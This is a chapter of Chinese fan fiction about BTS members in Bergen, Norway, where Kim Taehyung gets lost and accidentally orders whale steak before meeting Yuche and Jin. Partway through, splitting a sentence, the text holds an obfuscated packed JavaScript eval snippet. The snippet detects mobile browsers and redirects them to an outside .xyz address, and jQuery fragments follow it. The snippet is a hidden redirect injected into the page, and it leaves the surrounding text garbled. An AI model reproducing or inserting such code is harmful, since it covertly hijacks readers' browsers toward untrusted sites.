117.《北欧行》8
作品:《[bts娱乐圈]:共生力》 飞机平稳降落在卑尔根弗莱斯兰机场。金泰亨深吸了一口带着海洋气息的北欧空气,终于把心放回了肚子里,万分感谢那位善良的工作人员和宇澈的远程翻译。
然而,走出接机口,面对完全陌生的环境、陌生的文字和行色匆匆的异国面孔,心里还是多了几分忐忑。
[啊啊啊泰亨终于到了,很快大家就可以团圆了。]
[泰亨啊,一定要看好自己的东西,你亲故和号锡哥已经受到教训了。]
[哈哈小迷糊泰泰]
[果然出门在外,最怕的就是语言不通]
[看手机了,哦莫哦莫是宇澈的消息]
他掏出手机,屏幕上还停留在与宇澈的聊天界面,民宿地址和简单的路线说明静静躺在那里。
“呼……泰亨,你可以的!”他给自己打气,点开了翻译软件,将屏幕对准机场巴士站牌的挪威语站名。
[加油!泰泰!]
[果然宇澈还是挺担心这个哥哥的哈哈哈]
[前面已经出现丢东西的现象,接下来应该不会有丢人(这里指迷路)的现象吧?]
[前面的,你是预言家!]
“Bergen Sentrum Stasjon……” 软件努力识别着弯曲的字母。
“卑尔根中央车站。”屏幕上跳出了韩语翻译。
“哦!就是这个!”金泰亨眼睛一亮,仿佛找到了指路明灯。他立刻模仿着软件的发音,对着站牌旁边的信息屏磕磕绊绊地念:“卑尔根……森特鲁姆……斯塔斯永?” 发音古怪得连他自己都皱起了眉头。
好在信息屏足够智能,显示出对应的巴士路线图。他费力地对照着手机上的路线说明,终于找到了需要乘坐的巴士号码。
上车买票又是一场“翻译软件秀”。他指着手机屏幕上翻译好的“一张票到卑尔根中央车站”,对着司机露出最灿烂无害的笑容:“One ticket, please? To here!”
司机大叔显然见惯了游客,宽容地笑了笑,递给他一张票,指了指后面的座位。
巴士穿梭在通往市区的公路上,窗外是峡湾特有的壮丽景色:深邃的蓝绿色海水,陡峭葱郁的山崖,零星点缀着色彩鲜艳的小木屋。
金泰亨扒着车窗,像个第一次春游的孩子,眼睛亮晶晶的,迷路的焦虑暂时被新奇和兴奋取代。
“哇……好漂亮!澈儿他们昨天也看到这个了吧?”他忍不住拿出手机,对着窗外咔嚓咔嚓拍个不停。
[《澈儿昨天看过》泰亨你就知道你澈儿]
[哈哈哈看来宇澈已经发消息跟泰亨说过了]
[哈哈哈哈好好磕!]
[注意!你们眼前的这个泰泰宝宝即将背景带弯了路,导致没有提前和其他人会合]
阳光透过云层洒在海面上,泛起细碎的金光,美得让他几乎忘了目的地。
“下一站:Bryggen.”车内广播响起挪威语报站。
翻译软件忠实地工作着:“下一站:布吕根。”
布吕根?金泰亨记得宇澈说过,那是卑尔根最有名的世界文化遗产,一排排色彩斑斓的木屋码头!他瞬间心动。
反正民宿地址就在市中心附近,早一点下车逛逛应该……问题不大?他抱着“来都来了”的游客心态,果断按响了下车铃。
古老的布吕根木屋群在阳光下散发着温暖的光泽,倒映在清澈的海水中,仿佛童话世界。
[哇,真的好漂亮!]
[好想去北欧看看!!]
[不愧是世界上最具有童话风格的地方]
[真的好美……]
金泰亨完全沉浸其中,沿着狭窄的木栈道漫步,好奇地探头看看那些售卖纪念品和手工制品的小店,鼻尖萦绕着海风、木头和咖啡的混合香气。
他甚至被一家面包店飘出的浓郁肉桂香吸引,买了一个巨大的肉桂卷,站在码头边,一边啃着甜香酥软的面包,一边欣赏风景,惬意得忘了时间。
“唔……真好吃!北欧的面包真不错!”他满足地舔了舔嘴角的糖霜,这才想起正事。再次掏出手机,打开地图APP,输入民宿地址。
[奇怪的团魂出现了!落地第一时间找吃的]
[哈哈哈我们防弹美食团可不是浪得虚名的?!]
地图显示,位置就在市中心,离布吕根不远,步行大概十五分钟。
“OK!出发!”他信心满满地踏上寻家之路。
然而,卑尔根老城区依山而建,街道狭窄曲折,坡度不小。
金泰亨跟着导航,在石板路上七拐八绕,上坡下坡,感觉像是进了迷宫。更让他头疼的是路牌——全是挪威语!翻译软件再次成为他的救命稻草。
他站在一个三岔路口,对着三个不同方向的路牌,挨个扫描:
“Skostredet” -> “鞋街”
“Sm?strandgaten” -> “小沙滩街”
“vregaten” -> “上街”
“鞋街?小沙滩?上街?这……这都什么跟什么啊?”金泰亨看着翻译结果,一脸茫然,感觉头更大了。
他挠挠头,决定凭直觉选一条看起来最像市中心的路——坡度最缓、行人最多的那条。
[额,好奇怪的名字]
[坏了,泰亨尼好像迷路了]
[我都不敢向其他成员知道消息之后的表情]
[坏了,这下真的是防弹丢丢团了,已经从丢东西进化到“丢人”了]
走了大约十分钟,肚子咕咕叫了起来。肉桂卷的能量似乎消耗殆尽了。
他看到路边一家看起来温馨又地道的餐厅,大大的落地窗能看到里面温暖的灯光和食客的身影,门口的木牌上画着鱼和牛排的图案。
[哈哈哈不知道的还以为自己是打开了美食频道]
[果然我选择在吃中午饭的时候看是正确的选择]
[泰亨:唯有美食不可辜负]
[泰亨:吃饱饭是最重要的!]
“啊!吃饭!补充能量再找!”金泰亨立刻被说服了。他推门而入,温暖的气息和食物的香气扑面而来,让他舒服地叹了口气。
拿着全是挪威语的菜单,金泰亨再次祭出法宝——手机翻译软件。他小心翼翼地将摄像头对准菜单上的一道主菜描述:
“Hvalspik med bacon og erter”
翻译软件识别了一会儿,屏幕上跳出一行字:
“巨大的牛排配培根和豌豆。”
“牛排!好耶!”金泰亨眼睛放光,奔波半天的疲惫仿佛一扫而空,“就要这个!大的牛排!” 他指着菜单对服务员说,并展示翻译结果。
[“巨大的牛排”,好奇怪的名字]
[宇澈:那不是牛排——]
[硕珍缓缓打出了一个问号?]
[哈哈哈来了来了,精彩的来了]
服务员是一位和蔼的中年女士,看到翻译结果后表情有点微妙,似乎想确认:“Whale steak? Are you sure?” (鲸鱼肉排?你确定?)
金泰亨只捕捉到了“steak”这个词,坚定地点头,笑容灿烂:“Yes! Steak! Big one! Please!” (是的!牛排!大的!拜托了!)
服务员看他如此笃定,微笑着记下了,并询问他要什么饮品。金泰亨要了一杯当地特色的苹果汁。
就在金泰亨满怀期待地等着他的“巨大牛排”,小口啜饮着酸甜清爽的苹果汁,环顾着充满北欧风情的餐厅装饰时,餐厅的门再次被推开。
两个熟悉的身影走了进来,带着室外的清冷空气。正是先行回来准备采购晚餐食材的田宇澈和金硕珍!
“哦?这里看起来不错,食材应该新鲜,买点鱼?”金硕珍正和田宇澈商量着。
田宇澈的目光习惯性地扫过餐厅内部,寻找服务员询问食材售卖情况。
忽然,他的视线定格在靠窗的一个位置上——那个戴着渔夫帽,正对着一杯果汁东张西望,侧脸线条无比熟悉的家伙……
“泰亨哥?”宇澈的声音带着惊讶。
金硕珍顺着他的目光看去,也愣住了:“莫?!泰亨?!你怎么在这里?!”
金泰亨听到声音,猛地转头,看到门口站着的两人,瞬间瞪大了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201705|175005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛,脸上爆发出巨大的惊喜:“澈儿!珍哥!!!”
他像见到亲人一样,差点从座位上跳起来,用力挥舞着手臂,“我在这里!快过来!”
田宇澈和金硕珍对视一眼,都从对方眼里看到了“这也太巧了”的复杂情绪。两人走了过去。
“泰亨啊!你怎么会在这里?”金硕珍放下手里的购物袋,一屁股坐在他旁边的椅子上,开始审问,“你不是应该直接去民宿吗?我们都在等你!智旻都问了好几遍了!”
金泰亨不好意思地挠挠头,嘿嘿笑着:“那个……坐巴士到布吕根,太漂亮了,就下车逛了逛……然后……就迷路了……肚子饿了,就进来吃饭了。”
他指了指自己桌上的苹果汁,又补充道,“我点了巨大的牛排!马上就来!”
“巨大的牛排?”田宇澈捕捉到这个奇怪的形容词,微微蹙眉。
他刚才似乎听到服务员和邻桌提到了“hval”这个词……他不动声色地拿起桌上金泰亨还没来得及收起的菜单,目光快速扫过他刚才点的那一行。
“Hvalspik……”
田宇澈的嘴角几不可查地抽动了一下。他抬眼看向正一脸期待等着“大牛排”的金泰亨,又看了看旁边还在唠叨“让你别乱跑”的金硕珍,平静地开口:
“泰亨哥。”
“嗯?”
“你点的,不是牛排。”
“啊?”金泰亨的笑容僵在脸上。
“是鲸鱼肉排。”
空气瞬间安静了。
金泰亨脸上的表情从期待,到茫然,再到震惊,最后定格在一种混合着“我干了什么?”和“鲸鱼肉?能吃吗?”的巨大冲击中。
“莫拉古?!鲸……鲸鱼肉?!”金泰亨的声音陡然拔高,难以置信地看着田宇澈,又猛地看向金硕珍,“哥!鲸鱼肉?!我点了鲸鱼肉?!”
金硕珍也愣住了,随即反应过来,指着金泰亨的手机,哭笑不得:“呀!金泰亨!你的翻译软件到底是怎么工作的?!巨大的牛排?!鲸鱼是很大没错!但那不是牛啊!”
他感到荒唐,“你问清楚了吗?鲸鱼啊!保护动物!虽然这里好像合法……但是……”
“我……我不知道啊!”金泰亨欲哭无泪,慌乱地看向田宇澈,像抓住了最后一根稻草,“澈儿!怎么办?我……我不要吃鲸鱼!能退吗?”
就在这时,那位和蔼的服务员端着餐盘走了过来,上面赫然放着一块厚实的、颜色深红、边缘煎得微焦的肉排,旁边搭配着焦香的培根和翠绿的豌豆泥——正是金泰亨点的“巨大的牛排”。
“Your whale steak, sir. Enjoy!” (您的鲸鱼肉排,先生。请慢用!) 服务员微笑着将餐盘放在金泰亨面前。
那块深红色的肉排静静地躺在盘子里,散发着诱人的香气,但在金泰亨眼里,此刻却充满了魔幻和荒诞的意味。
他看看盘子,又看看一脸“你自求多福”表情的金硕珍,再看看旁边表情依旧平静但眼神里似乎透着一丝无奈的田宇澈,整个人都石化了。
“澈儿……”金泰亨的声音带着哭腔,弱小可怜又无助。
宇澈轻轻叹了口气,正准备开口跟服务员解释情况,他的手机突然响了起来。屏幕上跳动着“果果”的名字。
宇澈刚接起电话,还未开口,就听到田柾国在那边急切的声音,背景里似乎还有其他成员嘈杂的议论声:
“澈儿!你和珍哥在哪里?快回来!大事不好了!”
“怎么了?”宇澈的心微微一沉。
“号锡哥他……他好像……又把房卡弄丢了!而且这次,是在上山的缆车站丢的!我们刚下来!”
田宇澈:“……”
他默默看了一眼面前对着鲸鱼肉排手足无措的金泰亨,又隔着电话感受着民宿那边新一轮的“丢失风暴”,再想想昨天朴智旻的包和郑号锡的缆车票……
北欧的空气里,果然弥漫着让人持续丢东西的魔力。而金泰亨的到来,似乎为这场荒谬增添了新的“鲸”喜。
田宇澈捏了捏眉心,对着电话那头的柾国,也对着眼前这荒诞的一幕,吐出两个字:
“等会。”